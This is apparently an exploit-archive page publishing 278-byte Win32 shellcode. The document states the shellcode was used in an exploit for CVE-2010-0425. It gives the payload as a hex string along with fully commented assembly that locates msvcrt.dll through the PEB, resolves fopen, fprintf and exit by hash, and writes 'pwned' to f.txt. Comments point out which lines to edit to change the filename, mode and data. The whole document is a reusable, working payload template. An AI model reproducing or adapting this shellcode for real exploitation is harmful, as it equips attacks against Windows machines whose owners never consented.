[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Write-to-file Shellcode (Win32)
# Published : 2010-07-09
# Author :
# Previous Title : Linux/ARM - Disable ASLR Security - 102 bytes
# Next Title : DNS Reverse Download and Exec Shellcode


; Write-to-file Shellcode
;
; This shellcode was used in the exploit for: CVE-2010-0425
; Supported: Windows 2000, WinXP, Server 2003, Server 2008, Vista, Windows 7
;
; Size: 278 bytes
; ////////////////////////////////////////////////////////////////////////////////
; x31xc0x31xc9x64x8bx71x30x8bx76x0cx8bx76x1cx8bx56x08x8bx7ex20
; x8bx36x66x39x4fx14x75xf2x66xb9x01x6dx66x81xe9x94x6cx66x39x0f
; x66x89xc1x75xe1x89xe5xebx71x60x8bx6cx24x24x8bx45x3cx8bx54x05
; x78x01xeax8bx4ax18x8bx5ax20x01xebxe3x34x49x8bx34x8bx01xeex31
; xffx31xc0xfcxacx84xc0x74x07xc1xcfx0dx01xc7xebxf4x3bx7cx24x28
; x75xe1x8bx5ax24x01xebx66x8bx0cx4bx8bx5ax1cx01xebx8bx04x8bx01
; xe8x89x44x24x1cx61xc3xadx50x52xe8xaaxffxffxffx89x07x66x81xc4
; x0cx01x66x81xecx04x01x66x81xc7x08x01x66x81xefx04x01x39xcex75
; xdexc3xebx10x5ex8dx7dx04x89xf1x80xc1x0cxe8xcdxffxffxffxebx3b
; xe8xebxffxffxffx6ex7cx2exe1x1ex3cx3fxd7x74x1ex48xcdx31xd2x58
; x88x50x05xebx2dx31xd2x59x88x51x01xebx2cx51x50xffx55x04xebx2a
; x31xd2x59x88x51x05xebx2dx51x50x89xc6xffx55x08x53xffx55x0cxe8
; xd1xffxffxffx66x2ex74x78x74x4exe8xcexffxffxffx77x4exe8xcfxff
; xffxffxe8xd1xffxffxffx70x77x6ex65x64x4exe8xcexffxffxff
; ////////////////////////////////////////////////////////////////////////////////
;
; Origin: http://www.senseofsecurity.com.au
; Written by Brett Gervasoni (brettg [at] senseofsecurity.com.au)
;
; By default the shellcode will write "pwned" to a text file titled "f.txt" in 
; the current working directory. 
;
; Editable parameters:
; Line 228: Filename
;           Be sure to update the length on line 185
; Line 232: Access mode
;           Be sure to update the length on line 193
; Line 239: Data (text to be written)
;           Be sure to update the length on line 208

[SECTION .text]
global _start

_start:
	; if it matters what is on the stack, then allocate space - otherwise, who cares we are exiting anyway?
	; save bytes by not including it...
	;sub esp, 0x0c ; allocate space on the stack for funct addresses
	
; ======================= Find the base address of msvcrt.dll =======================
	; By checking if a entry in the InInitializationOrder list has a null byte in position
	; 20 we can find the base addr of msvcrt.dll on Windows 7 and Vista. 
	; "msvcrt.dll" is equal to 10 bytes, so in unicode, its 20 bytes long. 
	; kernel32.dll can be found in a similar fashion. "kernel32.dll" is 12 bytes long though. 
	; on WinXP the InInitializationOrder list is as follows: ntdll.dll, kernel32.dll, msvcrt.dll
	; On Windows Server 2003, msvcrt.dll is in position 5 and before this dll is checked, RPCRT4.dll
	; is checked. Which matches the length of msvcrt.dll, as a result the base address of RPCRT4.dll
	; is used. Obviously this is no good. To solve this problem i made the shellcode check for the 
	; presents of 'm' in position 0 as well . 
	xor eax, eax           ; make sure it is 0
	xor ecx, ecx           ; ECX = 0
    mov esi, [fs:ecx+0x30] ; ESI = &(PEB) ([FS:0x30])
    mov esi, [esi+0x0c]    ; ESI = PEB->Ldr
    mov esi, [esi+0x1c]    ; ESI = PEB->Ldr.InInitOrder
NextModule:
	mov edx, [esi+0x08]    ; EDX = InInitOrder[X].base_address
    mov edi, [esi+0x20]    ; EDX = InInitOrder[X].module_name (unicode)
    mov esi, [esi]         ; ESI = InInitOrder[X].flink (next module)
    cmp [edi+10*2], cx     ; modulename[12] == 0 ?
    jne NextModule         ; No: try next module.
	
	; extra check to find msvcrt.dll
	mov cx, 0x6d01         ; m = 0x6d
	sub cx, 0x6c94
                           ; result is 0x6d (m)
	cmp [edi], cx          ; modulename[0] == m ?
	mov cx, ax
	jne NextModule

	; base address of msvcrt.dll is now in edx
	; update ebp
	mov ebp, esp

	jmp short GetHashesSpring ; using a spring to avoid null bytes

; ======================= FUNCTIONS =======================
; Export Directory Table method
find_function:
    pushad
    mov ebp, [esp + 0x24]
    mov eax, [ebp + 0x3c]
    mov edx, [ebp + eax + 0x78]
    add edx, ebp
    mov ecx, [edx + 0x18]
    mov ebx, [edx + 0x20]
    add ebx, ebp
find_function_loop:
    jecxz find_function_finished
    dec ecx
    mov esi, [ebx + ecx * 4]
    add esi, ebp
compute_hash:
    xor edi, edi
    xor eax, eax
    cld
compute_hash_again:
    lodsb
    test al, al
    jz compute_hash_finished
    ror edi, 0xd
    add edi, eax
    jmp short compute_hash_again
compute_hash_finished:
find_function_compare:
    cmp edi, [esp + 0x28]
    jnz find_function_loop
    mov ebx, [edx + 0x24]
    add ebx, ebp
    mov cx, [ebx + 2 * ecx]
    mov ebx, [edx + 0x1c]
    add ebx, ebp
    mov eax, [ebx + 4 * ecx]
    add eax, ebp
    mov [esp + 0x1c], eax
find_function_finished:
    popad
    ret

ResolveSymbolsForDLL:
    lodsd
    push eax                    ; push hashes for find_function
    push edx
    call find_function
    mov [edi], eax              ; save found function address
    ;add sp, 0x08
	add sp, 0x10c ; + 268
	sub sp, 0x104 ; - 260 = 8
    ;add di, 0x04               ; increment edi by 4 (due to function address being saved)
	add di, 0x108 ; + 264
	sub di, 0x104 ; - 260 = 4
    cmp esi, ecx                ; check if esi meets length of hash list
    jne ResolveSymbolsForDLL
ResolveSymbolsForDLLComplete:
    ret

; ====================== / FUNCTIONS ======================

GetHashesSpring:
	jmp short GetHashes ; using a spring to avoid null bytes

HashesReturn: 
    pop esi
    lea edi, [ebp + 0x04]
    mov ecx, esi
    add cl, 0x0c              ; length of function hash list

    call ResolveSymbolsForDLL

	jmp short GetFilename
	
GetHashes:
    call HashesReturn
	
    ; msvcrt.dll hash list
    ; fopen hash = 0x6E7C2EE1
    db 0x6E
    db 0x7C
    db 0x2E
    db 0xE1

    ; fprintf hash = 0x1E3C3FD7
    db 0x1E
    db 0x3C
    db 0x3F
    db 0xD7
	; since the message is small, no need to worry about closing the file
	; keep the shellcode smaller that way.
	
	; exit hash = 0x741E48CD
	db 0x74
	db 0x1E
	db 0x48
	db 0xCD

GetFilenameReturn: 
	xor edx, edx ; zero out a reg for nulls

	pop eax ; f.txt
	mov [eax+5], dl ; insert a null byte, 'f.txt'
	
	jmp short GetFileMode

GetFileModeReturn:
	xor edx, edx ; zero out a reg for nulls

	pop ecx ; w
	mov [ecx+1], dl ; insert a null byte, 'w'

	jmp short GetfopenCall ; Now jump to fopen call
	
fopenCall:	
	push ecx ; 'w'
	push eax ; push 'f.txt'
	call [ebp+4]; call fopen
	
	jmp short GetfprintfData

GetfprintfDataReturn:
	xor edx, edx ; zero out a reg for a null

	pop ecx ; push data string
	mov [ecx+5], dl ; insert a null byte
	
	jmp short GetfprintfCall

fprintfCall:	
	push ecx ; data
	push eax ; handle
	
	mov esi, eax ; we want to keep the handle for close
	
	call [ebp+8] ; call fprintf

; It needs to either exit, or call fclose to write the buffer to file. 
ExitProcessCall:
	push ebx ; ebx has 00004000 in it - who cares what we give exit?

	call [ebp+0x0c] ; exit

GetFilename:
	call GetFilenameReturn
	db 'f.txtN' ; filename

GetFileMode:
	call GetFileModeReturn
	db 'wN' ; file access mode

GetfopenCall:
	call fopenCall

GetfprintfData:
	call GetfprintfDataReturn
	db 'pwnedN' ; data to be written to file

GetfprintfCall:
	call fprintfCall